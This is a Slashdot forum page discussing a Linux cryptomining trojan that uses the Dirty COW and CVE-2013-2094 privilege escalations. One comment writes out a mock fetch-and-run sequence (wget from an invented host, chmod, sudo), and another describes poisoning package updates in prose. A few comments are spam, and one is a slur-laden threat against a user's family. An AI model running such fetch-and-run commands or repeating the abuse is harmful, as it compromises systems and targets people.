Slashdot Mirror

← Back to Stories (view on slashdot.org)

New Linux Crypto-miner Steals Your Root Password and Disables Your Antivirus (zdnet.com)

Posted by msmash on from the security-woes dept.

Malware targeting Linux users may not be as widespread as the strains targeting the Windows ecosystem, but Linux malware is becoming just as complex and multi-functional as time passes by. ZDNet reports: The latest example of this trend is a new trojan discovered this month by Russian antivirus maker Dr.Web. This new malware strain doesn't have a distinctive name, yet, being only tracked under its generic detection name of Linux.BtcMine.174. But despite the generic name, the trojan is a little bit more complex than most Linux malware, mainly because of the plethora of malicious features it includes. The trojan itself is a giant shell script of over 1,000 lines of code. This script is the first file executed on an infected Linux system. The first thing this script does is to find a folder on disk to which it has write permissions so it can copy itself and later use to download other modules. Once the trojan has a foothold on the system it uses one of two privilege escalation exploits CVE-2016-5195 (also known as Dirty COW) and CVE-2013-2094 to get root permissions and have full access to the OS.

110 comments

  1. Oh! Naming Contest! by SuperKendall · · Score: 3, Funny

    This new malware strain doesn't have a distinctive name, yet,

    How about:

    VeggieCow (roots!)
    AVTerminator
    NohupForAll (read the article)
    MinerMiner209-519er (perhaps too much a stretch).

    Actually you really should read through the article, more interesting than I thought it would be from the summary and this little bugger really does a number on a system.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  2. relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 5, Insightful

    that have long since been patched.

    update your damn systems, people.

    1. Re: relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      Sometumes you do not *want* to update... (See GTK3)

    2. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 4, Funny

      Windows 10 is safer than Linux. It checks for updates every hour and installs them immediately. The user can't even disable that!

    3. Re: relies on 2 and 5 year old exploits... by Zero__Kelvin · · Score: 2

      IOW, it is industry best practice to run the most up to date malware.

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
    4. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      your biggest threat is microsoft fucking up your system. good plan... for testing the robustness of your backup strategy, anyway.

    5. Re: relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      Don't expect any system to be secure forever. That said, the vulnerabilities affect the kernel... so just updating the kernel should keep you safe from this.

    6. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      If that is what _you_ think that makes windows safer... well... you can easily make any linux distribution to check for updates that regularly. Chances are by the time these news come up, your linux system was already patched without you noticing (unless you read the detailed description of every update). Windows/Mac do not alter their update schedules unless something very extreme comes along (whatever _they_ consider to be "very extreme", not you), so here chances are your ass is exposed for good 6 months. You know, because their work is so good... they only decide to fix "bugs" once the shit hits the fan (I'm looking at you apple).

    7. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 1

      Every present day Linux distribution automatically checks for updates. You then have to authorize installation. Alternatively, you can also switch to automatic update, which then runs while you are working not when you want to leave. BTW you can deactivate auto update in Windows 10.

    8. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 1

      My Linux distro gives me a choice. I do manual updates.

      You cannot disable automatic updates in Windows 10 unless you totally disable the update software. That means every time you want to update, you have to reenable everything, let it update, then disable it all again. Also, you can't choose which updates you want. It's all or nothing.

      Windows 10 is the single worst operating system ever made by anyone in the entire history of computing.

    9. Re: relies on 2 and 5 year old exploits... by reanjr · · Score: 2

      If you don't want to update software for personal reasons, then you probably should stop using the software for security reasons.

    10. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 2, Informative

      MS does this because of all the bad press botnets have received over the years when people did not do updates on their systems.

    11. Re:relies on 2 and 5 year old exploits... by sad_ · · Score: 1

      just what i though when reading this, but then i wondered that the actual target machines are probably IoT devices or consumer network stuff or maybe even old-ass Android phones still in use (wouldn't be that crazy). All those things run outdated, unpatched, insecure linux installations out of the box, with almost no chance of ever seeing an update.

      --
      On a long enough timeline, the survival rate for everyone drops to zero.
    12. Re: relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      Then you do not want to use linux. Stop being an idiot.

    13. Re: relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      Yet MICROSOFT shouldnâ(TM)t be driving people off of Windows 7 yo Windows 10. Hmm...

    14. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      If that is what they are claiming, then it's an excuse to cover their shitty practices. Windows has had automatic updates enabled by default for years. Your average person isn't going in there and disabling that, mostly because they wouldn't know how. Add to that the fact that updates aren't always good (in Microsoft's case they are almost always harmful) and aren't guaranteed to address vulnerabilities to botnets. The best security has been and always will be vigilant users, not some magical updates that "fix" everything.

      It's just a bullshit justification so that Microsoft can take more control, steal data and get richer off of the work of customers who are now acting as unpaid QA.

    15. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      Would love to, but upstream can't keep security patches and "features" separate to save their lives. End result is that i have to wrangle an ever changing dependency kudzu to do so. Or perform slash and burn rebuild ever so often (and no, containers are not the answer. Containers just feed this monstrosity).

    16. Re:relies on 2 and 5 year old exploits... by gravewax · · Score: 1

      some of the most exploited vulnerabilities have all been old. The reality is a vast number of home users AND sys admins don't adequately maintain systems.

    17. Re:relies on 2 and 5 year old exploits... by TheDarkener · · Score: 1

      Beat me to it:

      CVE-2016-5195
      CVE-2013-2094

      Seriously, this has nothing to do with "Linux is more secure than Windows". If you're running this old ass code in the wild, you sort of deserve it at this point.

      --
      It is pitch black. You are likely to be eaten by a grue.
    18. Re:relies on 2 and 5 year old exploits... by TheDarkener · · Score: 1

      Actually Windows will "say" it has checked for updates in the past day or so but 90% of the time if I press "Check for Updates", it finds one or more to download. I take care of a couple handfuls of Win10 Pro boxes and they all do this from time to time. Maybe it's for one of the less critical updates, but still. If you say there are no updates in the past day, don't start downloading updates that were released 2 weeks ago when I hit check for updates.

      --
      It is pitch black. You are likely to be eaten by a grue.
    19. Re:relies on 2 and 5 year old exploits... by Anonymous Coward · · Score: 0

      But telling the difference between an exploit and Windows 10 is difficult....

  3. Re: Open Source Bites Man by Anonymous Coward · · Score: 0

    I thought it was nice of the author to freely distribute the source to their malware

  4. Massive? by Anonymous Coward · · Score: 0

    1000 lines of code is considered massive for a Trojan? When I was into writing shellcodes and RATs I could do 300 lines of code a day. 1000 really doesn't seem that "complex."

    1. Re: Massive? by Anonymous Coward · · Score: 1

      Depends if its the compacted obfuscated form or not. Having seen a lot of exploit shell, the original stuff is going to be very low information density.

  5. Re:Oh! Naming Contest! by Anonymous Coward · · Score: 0

    How about something more accurate, like "MalwareForIdiotsWhoDontUnderstandPermissions"?

  6. just wondering,.. by Selur · · Score: 2

    Seeing the bitcoin prices falling and falling I wonder: "Why would malware creators still create such stuff, isn't there anything more profitable than this?"

    1. Re: just wondering,.. by zynthaxx · · Score: 1

      If you just reap the fruit of another persons labor, it does not matter that you will be selling it below current market value - you are still making a profit.

    2. Re:just wondering,.. by Anonymous Coward · · Score: 1

      It is profitable if you don't have to pay for the electricity or hardware costs

    3. Re:just wondering,.. by Anonymous Coward · · Score: 3, Interesting

      Seeing the bitcoin prices falling and falling I wonder: "Why would malware creators still create such stuff, isn't there anything more profitable than this?"

      Not really.

      Did you know that hacked Facebook accounts are worth more than credit card numbers?
      That is because Facebook accounts are less likely to be blocked out so they still have their value while credit cards typically are blocked by the time the buyer tries to use them.

      Essentially there aren't much you can get your hands on in an automated fashion that has value.
      Unless you resort to targeted attacks to get hold on specific information to sell to a specific buyer (Industrial or military espionage.) cryptocurrency is your best bet and is less likely to make powerful people notice you.

      As for bitcoins the energy cost of mining them is higher than what you get out of it. It isn't profitable to mine bitcoins if you pay for the electricity yourself.
      Instead you either sneak in computers into a server farm where someone else pays for the energy or you use malware to mine on some other persons computer. (Javascript miners hidden in an ad is fairly popular.)

    4. Re:just wondering,.. by AHuxley · · Score: 1

      No power cost, no cooling costs.
      Everything is done for free on another CPU using a free OS.
      The results are networked back for free.
      Would Linux users wonder why their CPU is in use more often?

      --
      Domestic spying is now "Benign Information Gathering"
    5. Re:just wondering,.. by arth1 · · Score: 1

      Would Linux users wonder why their CPU is in use more often?

      Possibly. Add a comma, and I'd say certainly: Linux users would wonder why their CPU is in use, more often.
      This is due to all the commonly used standard tools that would give an indication, including but not limited to w, uptime, top and ps.

    6. Re:just wondering,.. by tirnacopu · · Score: 1

      Unfortunately malware with root access could easily hide from all utilities by hooking read calls to /proc/stat an returning lower values.

  7. Proof of concept or demonstration. by Anonymous Coward · · Score: 0

    It's nets them a small bit of profit now, and they can offer their services or platform to others need their own malware or payload installed.

    On the other hand, this gives a lot more prestige to calling someone a script kiddie :D

    - dazzle Dazzle Novak

    1. Re: Proof of concept or demonstration. by Zero__Kelvin · · Score: 1

      No it doesn't. The term doesn't refer to using a script, but rather to download one you didn't write and/or understand and just use it.

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
  8. Why local privilege escalations matter by Shinobi · · Score: 4, Insightful

    This is an example of why local privilege escalations should never be scoffed at. You can blather all you want about permissions etc, but only one slip is required, and you're shit out of luck

    The sad thing is that I've had to argue this point for 20 years now

    1. Re:Why local privilege escalations matter by Anonymous Coward · · Score: 1

      They do matter, but you still have to get a way in.

      You still have get the user to somehow run this script. Considering that scripts aren't even executables as such to begin with, and the considerably better average computer literacy among Linux users, this doesn't sound like too much of a threat. This doesn't preclude that some "user-friendly" applications muck things up, ofc. Stupid will always find a way, no matter what you do, but that's no different from things have always been.

    2. Re: Why local privilege escalations matter by nnull · · Score: 1

      "and the considerably better average computer literacy among Linux users, this doesn't sound like too much of a threat."

      I don't agree. There is a growing base of Linux users who do not know what's going on and living in some grand illusion that they're safe because it's Linux. I've ran into facilities who are running their own Linux servers with no IT specialists, giving root access to plant managers who don't know what they're doing because that's what their "Enterprise" software devs encourage because they suck. I'm sure a lot of exploited nix machines are coming from these places.

      So back to regular Linux home users. You have a slowly growing base in Linux that have no clue what's going on. And then add to the growing complexity of linux with systemd, selinux, and other bs, even expert users are having trouble.

    3. Re: Why local privilege escalations matter by ahodgson · · Score: 1

      Based on the attacks I see daily most exploited Linux machines seem to be at self-hosted VPS outfits like OVH and Linode.

    4. Re: Why local privilege escalations matter by Anonymous Coward · · Score: 0

      You don't seem to understand the meaning of "average". You basically don't get Linux without being competent enough to at least install it yourself, something which is far beyond the average user.

      Seriously, systemd? You think an average user will have a poke at that? I guarantee that the vast, vast majority of the "average" users haven't got a clue what "Linux" is. At best they might have heard about it at some point. Most people who use Linux at home undoubtedly have either a compsci-background themselves, or someone at hand who helped them get going with it. But these people are far from the clueless masses of "average" users who might know how to use a few applications but never would dream of messing with the OS, or even know what it is. Actually there's a good chance they'd simply classify the entire machine (the physical box) as "Windows". Yes, I have met people like that, I'm not making it up.

      Also, as earlier noted: Stupid will always find a way no matter what you do, but that's neither here nor there, or even related to this particularly lame clickbait piece of FUD.

    5. Re:Why local privilege escalations matter by Anonymous Coward · · Score: 0

      You still have get the user to somehow run this script.

      Only the user?

      Considering that scripts aren't even executables as such to begin with, and the considerably better average computer literacy among Linux users, this doesn't sound like too much of a threat.

      Oh honey, I'm on a red team. Linux users are just as easily hacked as any other. Find what repos they use and choose one. Set up an in-line invisible proxy. Nearly every corporate client has one anyway in their security gateway. Inject the script into the install scripts, or the less used running scripts, or the commonly used package maintainer scripts. Pin the new modified package in the proxy cache. Next time the user updates the package our script will install with all the permissions the package had and ready to be executed.

      How can you avoid this? Use the almost unheard of SecureApt, know if your employer is MITM your system (probably if you didn't install from bare metal yourself), and use a second channel to verify authenticity. That means being on a different network, going to every single package's website and getting the hash, then calculating the hash and comparing yourself. If you let a script do it, guess what I will find and do?

      The trend of otherwise knowledgeable people knowing shit all about their own system's security keeps both my paychecks and stress-level high.

    6. Re:Why local privilege escalations matter by Shinobi · · Score: 1

      You forget the people who install a user friendly distro on the advice of their supposedly tech competent friends or relatives, or have had Linux installed by them. The same people who then come and say "I've given them a default setup, and I no longer get any virus calls, because they have Linux now", in a very arrogant manner.

      And even competent people make mistakes in configuration.

  9. Joke's on them by Anonymous Coward · · Score: 0

    all I have on my machine is creimer ebooks and videos!

  10. Scaremongering much? by Anonymous Coward · · Score: 5, Interesting

    Not one shred of information on /how/ the script got on the system in the first place

    I'm calling bullshit on the article.

    With such a critical piece of information missing, it's clearly scaremongering and pretty close to fake news.

    1. Re:Scaremongering much? by KiloByte · · Score: 1

      Because the article describes writing to a "folder" and disabling antivirus, it's clear it's not about exploiting a regular distro. My guess is that it's WSL-only, requiring an usual Windows security hole of the hour as the initial vector.

      --
      The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
    2. Re:Scaremongering much? by loonycyborg · · Score: 2

      Nope. It works on standard linux systems relying on two long fixed root exploits.

    3. Re:Scaremongering much? by Anonymous Coward · · Score: 1

      I am still missing the crucial piece of information: how does the script get executed in the first place? Do we assume that the user is silly enough to run random script s/he downloaded?

    4. Re:Scaremongering much? by Gavagai80 · · Score: 5, Informative

      Every Linux "virus" article I've seen, and there've been a lot of them, has turned out to be about a trojan. Apparently people can't tell the difference anymore. It's a safe bet that this gets on your system by your choosing to download and install a random piece of software you have no reason to trust, instead of sticking to your repositories.

      --
      This space intentionally left blank
    5. Re:Scaremongering much? by loonycyborg · · Score: 1

      The malware has the functionality to hijack ssh connections to other systems and execute itself remotely.

    6. Re:Scaremongering much? by jmccue · · Score: 0

      If I had mod points I would waste them on the AC. That is my big question, how did it get there in the first place ?

      [ ] running a bitcoin miner

      [ ] Windows subsystem for Linux

      [ ] someone downloaded it and said "what the hell, lets go for it"

      [ ] magic

      If via Windows then that is interesting, now some Linuxes will get to enjoy the fun and excitement Windows brings us

    7. Re:Scaremongering much? by PPH · · Score: 1

      I get damned suspicious whenever something prompts me for a password on another machine. I don't share authorization keys (allowing password prompt bypass) between any machines other then a few of my own. And the effort needed to infect any of those is equivalent to that needed to infect my local machine.

      --
      Have gnu, will travel.
    8. Re:Scaremongering much? by Typing_Ptarmigan · · Score: 2

      Not one shred of information on /how/ the script got on the system in the first place

      I'm calling bullshit on the article.

      With such a critical piece of information missing, it's clearly scaremongering and pretty close to fake news.

      A link in TFA leads to the "cure"... Surprise! It's a recommendation to run the antivirus maker's antivirus software!

    9. Re:Scaremongering much? by arth1 · · Score: 1

      The malware has the functionality to hijack ssh connections to other systems and execute itself remotely.

      So you have to have a system that already allows remote root access from other insecure systems, AND someone who invokes that ssh connection from an infected system? That doesn't sound like it will hit very many...

    10. Re:Scaremongering much? by thegarbz · · Score: 1

      Not one shred of information on /how/ the script got on the system in the first place

      Someone downloaded it and executed it. This is has been how all of these scripts on all operating systems work. Only Apple can fix this. It's time to take away sudo rights from Linux users.

  11. Of course!! by Anonymous Coward · · Score: 0

    And it seduces your mum and steals your bike.

    1. Re:Of course!! by TheRealQuestor · · Score: 1

      And it seduces your mum and steals your bike.

      Can't be all bad then. At least it leaves my dog alone!

    2. Re:Of course!! by Anonymous Coward · · Score: 0

      And it seduces your mum and steals your bike.

      Can't be all bad then. At least it leaves my dog alone!

      Nope, it infects your dogs tracking collar too!

    3. Re:Of course!! by Anonymous Coward · · Score: 0

      Course it's not all bad - there are other better news outlets than ZDNet now, and this article goes to prove it. /. is also rapidly becoming a 'paid' sounding platform of course. Not by the owners, but with submitters and the collusion of other users accounts to make articles get to the front page. Not like that hasn't been noticed.

    4. Re:Of course!! by Anonymous Coward · · Score: 0

      And it seduces your mum and steals your bike.

      And it:

      - drinks all your beer
      - runs up your cable bill watching porn
      - leaves a stench in your bathroom
      - hits on your GF while you go for pizza
      - rant-posts on InfoWars from your desktop

      In other words, it's the roommate from hell.

  12. Getting really old by Anonymous Coward · · Score: 0

    All the security holes in EVERYTHING is really getting tiring.

  13. Re: Oh! Naming Contest! by Anonymous Coward · · Score: 0

    Heil APK

  14. root, why not rename it? by thogard · · Score: 1, Interesting

    Most Unix like systems are happy without a "root" user as long as there is a user 0 called something.

    I still don't agree with the POSIX standard that allows root to write to mode 000 files. If its 000, it was done for a reason and that means even root shouldn't be able to screw with it particularly if it is root:root mode 000.

    1. Re:root, why not rename it? by Anonymous Coward · · Score: 0

      Some administrator must be able to change any file, otherwise you're not in full control of the system. It doesn' t matter how you call that user.

    2. Re:root, why not rename it? by Anonymous Coward · · Score: 0

      Use "chattr +i" and even root won't be able to touch it. However, root can still "chattr -i" to turn that off if they want. There isn't any way to prevent that unless you're running in a user-mode container or something. In that case "root" is actually just a regular user and the true root on the host can make files that are absolutely impossible for root in the container to touch (barring an exploit of course). I use that technique a lot on Internat-facing servers.

    3. Re: root, why not rename it? by reanjr · · Score: 1

      Then how would you grant permissions back to the file if you can't use root to do it?

    4. Re:root, why not rename it? by turbidostato · · Score: 1

      "I still don't agree with the POSIX standard that allows root to write to mode 000 files."

      I probably agree with your rationale. The semantics of 000 are fairly clear, so it seems there's no reason to "overwrite" them just because (specially when a root user could easily change back the file's permissions before editing it).

      But then, there is chattr (or chflags) to deal with that case. I think they are no POSIX-compliant, though.

    5. Re: root, why not rename it? by Antique+Geekmeister · · Score: 1

      How would you access the file, without modifying the file, for backup operations of a read-only filesystem? This happens enough that I cannot see supporting the change.

    6. Re:root, why not rename it? by AJWM · · Score: 1

      This is probably a stupid question because I haven't finished my first cup of coffee yet, but why would you want a 000 file? That's just an inode and a chunk of disk space that can't be used for anything.

      Oh. It still has attributes. It can be used for something.
      Never mind.

      --
      -- Alastair
    7. Re:root, why not rename it? by ClickOnThis · · Score: 1

      This is probably a stupid question because I haven't finished my first cup of coffee yet, but why would you want a 000 file? That's just an inode and a chunk of disk space that can't be used for anything.

      Oh. It still has attributes. It can be used for something.
      Never mind.

      ---------- 1 root root 0 Oct 15 22:07 this_file_is_inaccessible_but_its_name_means_something

      Yeah, it's stupid. But it's not entirely useless.

      --
      If it weren't for deadlines, nothing would be late.
    8. Re: root, why not rename it? by Anonymous Coward · · Score: 0

      Same way you bypass chattr +i: by accessing the disk device.

    9. Re: root, why not rename it? by reanjr · · Score: 1

      But if you're root, you can access the disk device. So what do you gain by not letting root write to the file? All you're doing is making the code that writes to disk far more error prone and likely to open up a security hole.

  15. Don't have those. by reanjr · · Score: 1

    No antivirus and no root password. I have one machine that's pretty much always idle and another that's a laptop. I would notice the fans kick on if either of those started mining.

    I think I'm good.

  16. using years old cves? by pmgst17 · · Score: 1

    "Once the trojan has a foothold on the system it uses one of two privilege escalation exploits CVE-2016-5195 (also known as Dirty COW) and CVE-2013-2094 to get root permissions and have full access to the OS."
    Is this really malware that is targeting systems that haven't been patched in two years?

    1. Re: using years old cves? by nnull · · Score: 1

      Still relevant. A lot of nix systems out there that's unpatched for years on. You can say they deserve it, but there are reasons for them being unpatched. A lot of them stupid reasons because the enterprise system they're using discourages updates because it breaks their stuff. I see this crap everywhere.

    2. Re: using years old cves? by Anonymous Coward · · Score: 0

      Not to mention all the appliances or "embedded" systems running so old flavor of linux. If you are lucky maybe the OEM released an update at some point.

      Luckily the way these are used a trojan like this probably will not end up on the unit, but still a security issue.

    3. Re: using years old cves? by blackpaw · · Score: 1

      This. Just about every multifunction business copier in existence across the major brands runs a 2.x version of linux.

  17. MAC by Anonymous Coward · · Score: 0

    Stopped reading after "downloads and runs". MAC (Mandatory Access Control) should be default nowadays in operating systems. DAC (Discretionary Access Control) and its ancient, dumb concepts of users and groups should be left to history and Trivia quizzes. So many vectors would not exist at all, if MAC was default with proper least-privilege policy installed and in effect for every program we use.

  18. Re:Oh! Naming Contest! by Calydor · · Score: 4, Funny

    The Summary Wrote:

    This script is the first file executed on an infected Linux system.

    Let's name it systemd!

    --
    -=This sig has nothing to do with my comment. Move along now=-
  19. UNIX worms are rare, but not unique by Antique+Geekmeister · · Score: 1

    A good precedent is the Morris Worm, the first major worm attack against UNIX systems. Published on Nov. 2, 1988, the worm used known vulnerabilities in popular UNIX tools such as sendmail, and also cracked weak passwords. Defenders effectively _broke_ the early Internet to contain the Morris Worm and while they frantically applied patches they'd considered risks to production systems before that day. Its author was eventually convicted, but Robert Tappan Morris had the best "get out of jail free" card one could imagine. His father was the head of the NSA. He is now a professor of computer science at MIT, and his current projects are listed at https://www.csail.mit.edu/pers... .

  20. Re:Oh! Naming Contest! by Anonymous Coward · · Score: 0

    You sound like you actually read the article (who does that?)
    Anyway does this trojan actually "steal your root password" as the story title states, or does it just use privilege escalation (on long-since patched flaws) to run as root? I mean, does "MySuper3lit3passwrd" actually get sent somewhere?

  21. Re:Oh! Naming Contest! by Anonymous Coward · · Score: 0

    OK, curiosity got hold of me and I gave in and read the fine article (aaargh!)
    The one partial-sentence quote that addressed it says, "the ability to steal user-entered passwords for the su command"
    My best guesses how this would be accomplished are:
    1) overwrite /bin/su with a malicious version; or
    2) keylogger that logs everything, su just happens to be included

    One particularly nasty bit:

    The trojan will also run a function that collects information about all the remote servers the infected host has connected via SSH and will try to connect to those machines as well, to spread itself to even more systems. This SSH self-spreading mechanism is believed to be the trojan's main distribution channel. Because the trojan also relies on stealing valid SSH credentials, this means that even if some Linux sysadmins are careful to properly secure their servers' SSH connections and only allow a selected number of hosts to connect, they might not be able to prevent an infection if one of those selected hosts has been infected without his knowledge.

  22. Re:Oh! Naming Contest! by arth1 · · Score: 2

    One may gobble up all resources on a system, rely on privilege escalation, hide logs, and be very hard to get rid of.
    The other one is just malware.

  23. bad press? by bagofbeans · · Score: 1

    MS appears not to care about bad press. The botnet stink gets replaced by the we'll force updates to 10 policy, we-control-your-W10-PC update policy, and the Windows as a recurring revenue service so we can push advertisements in programs forthcoming policy

    1. Re: bad press? by Anonymous Coward · · Score: 1

      To defeat the botnet we must become the botnet.

    2. Re: bad press? by Anonymous Coward · · Score: 0

      This! Pretty sure Microsoft could DDOS whatever service it wanted off the face of the earth, and nobody would even realize it was them!

      --Highdude702(mods and such)

  24. "It's working: Neville... it's working!" apk by Anonymous Coward · · Score: 0

    See subject quote from the film "I AM LEGEND" & results from the recent past https://it.slashdot.org/commen... https://it.slashdot.org/commen... & https://it.slashdot.org/commen... + https://it.slashdot.org/commen... + https://it.slashdot.org/commen... https://it.slashdot.org/commen... https://search.slashdot.org/co... https://it.slashdot.org/commen...

    * That's only recently while I've been on Linux (since June/July 2018) & 100's of times vs. MANY other botnets/malwares etc. in the past circa 2006-early 2018 while I was on Windows: CONCRETE VISIBLE UNDENIABLE REALITY (see those links as proof).

    P.S.=> ... & that's ONLY what /. reported on (there are FAR more)... apk

  25. Many listened #1/5 (what scum don't want) by Anonymous Coward · · Score: 0

    Your software is just fine - well written, functional... I'm going to continue using the Host File Engine by mmell February 17, 2017

    Your premise that hostfiles are a good way to deal with advertising and malvertising is quite valid - by JazzLad April 20, 2016

    his hosts program is actually pretty good by xenotransplant August 10 2015

    his hosts tool is actually useful for those cases in which one does indeed want to locally block stuff outright while consuming minimum system resources by alexgieg September 25 2015

    I like your host file system by Karmashock September 09 2015

    that APK guy, I use his host file by rogoshen1 Tuesday March 03, 2015

    I personally use a HOSTS file blocker produced from a genius called APK by 110010001000 October 27 2017

    * For the Win32/64 model...

    APK

    P.S.=> Linux model's faster/more efficient/better MERGE feature too - More coming... apk

  26. Many listened #2/5 (what scum don't want) by Anonymous Coward · · Score: 0

    Apk has the answer for that - really... kill automatic updates by adding a hosts file entry setting updates.steam.com or whatever to 127.0.0.1. You have to find the right hostname for each software you want to block updates on by raymorris (2726007) on Friday July 06, 2018

    APK your posts on this and the hosts file posts, and more, have never been in error and/or bad advice by BlueStrat (756137) on Wednesday June 21, 2017

    I support APK's stand on the hosts file and can't see why it's not used more than it is. My hosts file is 144247 lines long (4,332 Kb) it & a firewall serves me very well - by Trax3001BBS (2368736)

    ABP is insufficient as a solid hosts file does everything APK reminds us about fast turtle September 17 2013

    You need APK's hosts file - by Teun (17872) on Wednesday August 06, 2014

    * For the Win32/64 model...

    APK

    P.S.=> Linux model's faster/more efficient + BETTER merge feature - More coming... apk

  27. Many listened #3/5 (what scum don't want) by Anonymous Coward · · Score: 0

    APK is totally right on this count. Adblock Plus on Firefox mobile is a dog on older, or lower end, phones. A hostfile based adblocker makes for a much better experience in this context. Of course, your phone has to be rooted, which isn't the case with Firefox + adblock." - by chihowa on Saturday May 16, 2015

    APK solution STILL relevant Thud457 June 11 2015

    In a footnote, I would like to note that I find your hosts file admirable - by vel-ex-tech (4337079) on Tuesday November 24, 2015

    APK's monolithic hosts file is looking pretty good at the moment - by Culture20 on Thursday November 17

    you're right about hosts files - by drinkypoo (153816) on Thursday May 26

    APK, I know people give you a lot of shit regarding hosts, but please don't ever stop - by nasredin (958927) on Friday June 12, 2015 @03:34PM

    * For the Win32/64 model...

    APK

    P.S.=> Linux model's faster/more efficient + BETTER merge feature - More coming... apk

  28. Many listened #4/5 (what scum don't want) by Anonymous Coward · · Score: 0

    APK is kinda right... I've given up on JS based adblocking and gone to blackholing in /etc/hosts, just like it was back in the 90s. The computational load has gotten intolerable for any ad-blocking using JS. I've tried his hosts file generating software. It works. - by bmo (77928) on Thursday October 15, 2015

    get around to 'installing' a hosts file list, not sure which one, likely the one from someonewhocares.org. If it works as well as what I used for a while about ten years ago, I'll be happy. And grateful to APK for the lesson and the reminder. - by kermidge (2221646) on Wednesday March 27

    I actually went and downloaded a 16k line hosts file and started using that after seeing that post, you know just for trying it out. some sites load up faster. - by gl4ss (559668) on Thursday November 17

    dammit MS, you proved APK right about something by lgw

    * For the Win32/64 model...

    APK

    P.S.=> Linux model's faster/more efficient + BETTER merge feature - More coming... apk

  29. Many listened #5/5 (what scum don't want) by Anonymous Coward · · Score: 0

    (APK) is still right a hosts file really does work. It even blocked a some of the video ads that were inserted into a stream OrangeTide February 10 2016

    the Host File Engine performs exactly as promised - by mmell (832646) on Thursday February 16, 2017

    I do use APK's host file on all my systems at home by OrangeTide December 01 2017

    I've never tried to belittle (APK's work), I've flat out said it's good - by BronsCon (927697) on Thursday February 11, 2016 @06:48PM (#51491263)

    (Toss on 100,000++ users worldwide too!)

    * For the Win32/64 model...

    APK

    P.S.=> Linux model's faster/more efficient + BETTER merge feature... apk

  30. Re:Oh! Naming Contest! by Anonymous Coward · · Score: 0

    name it Gnome 3

  31. Subscription year already! by pigsycyberbully · · Score: 0

    These kind of stories come about every year subscription year.

  32. Re:Oh! Naming Contest! by SuperKendall · · Score: 1

    See it was worth reading! It had all kinds of interesting stuff packed in there.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  33. AV & root? My linux systems don't use those. by Anonymous Coward · · Score: 0

    Why would I run AV on a linux system? Screw scanning for MSFT viruses.
    Root access should be possible only through sudo, never directly (with very few exceptions).

    Only a noob would allow root with a password. You can get root from the console if you need it or by using a highly restricted ssh connection that only allows key/cert based connections and only from very specific IPs. People can't be this stupid. Sorry - I'll take that back.

    And the only reason I've used AV on Linux was because a stupid E&O Insurance policy mandated it. The insurance company didn't understand that running AV on non-Windows systems is almost always stupid. But I couldn't speak with anyone inside the insurance company who actually had a clue.

  34. Re:AV & root? My linux systems don't use those by Anne+Thwacks · · Score: 1
    I will let you into a secret:

    People who have a clue do not work for insurance companies.

    --
    Sent from my ASR33 using ASCII
  35. KEN DOLL YOU LYING FAGGOT WE KNOW YOU by Anonymous Coward · · Score: 0

    Do you really think nobody knows you're a lying faggot propagandist on this entire website, after all the years of your bullshit getting blown away like 30 minutes ago when your +4 went to -1 Troll, you casually lying faggot? Lol bitch.

    There will be consequences for your dishonest advocacy for you and your entire family.

     

  36. Re:Oh! Naming Contest! by MrMr · · Score: 1

    Ironically the script is placed in /etc/rc.local. Probably perfectly compatible with sysVinit.

  37. 1000 lines by darkain · · Score: 1

    Remember back when companies in the early 2000s would brag that their software was over a million lines of code, as a testament to some sort of level of complexity? Apparently that threshold has been pushed all the way back to only 1000 lines of code. Honestly, I blame all these copy-paste script kiddies who have never actually written code for thinking that a 1000 line program is "complex" or "large" by any stretch of the imagination.

  38. "This is the weapon of a jediknight"... apk by Anonymous Coward · · Score: 0

    "Not as clumsy/random as a blaster - An elegant weapon 4 a more civilized age" https://it.slashdot.org/commen...

    * "For over a 1,000 generations Jedi Knights were guardians of peace & justice in the old Republic. Before the dark times. Before the EMPIRE"

    (NOT "wannabe weapons" of TROLL shitlords on /. like ZIP https://it.slashdot.org/commen... - theirs = effete downmods I RUN 'EM DRY OF & lies & WHY they LOSE).

    APK

    P.S.=> Many here know https://linux.slashdot.org/com... & enjoy greater speed/security/reliability & anonymity hosts yield natively speeding you up 2 ways (adblocks & hardcodes that protect vs. DNS security issues in redirect poisoning + request tracking logs & RESOLVE FASTER locally from RAM driven by KERNELMODE speed vs. slow usermode in "solutions" packed w/ security issues (DNS/Antivirus) OR not working fully by default (adblock) in usermode addons easily detected by webmasters & blocked doing less but using more)... apk

  39. Amen to Scaremongering by Anonymous Coward · · Score: 0

    This is what Windows admins do not understand. Executable bits are turned off in Linux by default. To make anything bad happen, an admin would have to download the virus, make it executable, and run it - preferably as root.

    wget http://virus.kremlin.ru/linuxvirus.sh
    chmod +x ./linuxvirus.sh
    sudo ./linuxvirus.sh

    Any Linux admin that is smart enough to run these commands is smart enough not to do this.

  40. Bring them all on. by suezz · · Score: 1

    Bring them all on. Linux is rock solid and all I got to say is bring them all on.

  41. ./unsigned.sh by jago25_98 · · Score: 1

    Having to run unsigned binary executables isn't exactly linux but a bastardisation huh? It's common now. Run as root too

    --
    A blog I run for the wealth
  42. mod parent up [nt] by themusicgod1 · · Score: 1

    nt

    --
    GENERATION 26: The first time you see this, copy it into your sig on any forum and add 1 to the generation.
  43. What antivirus? by uldics · · Score: 1

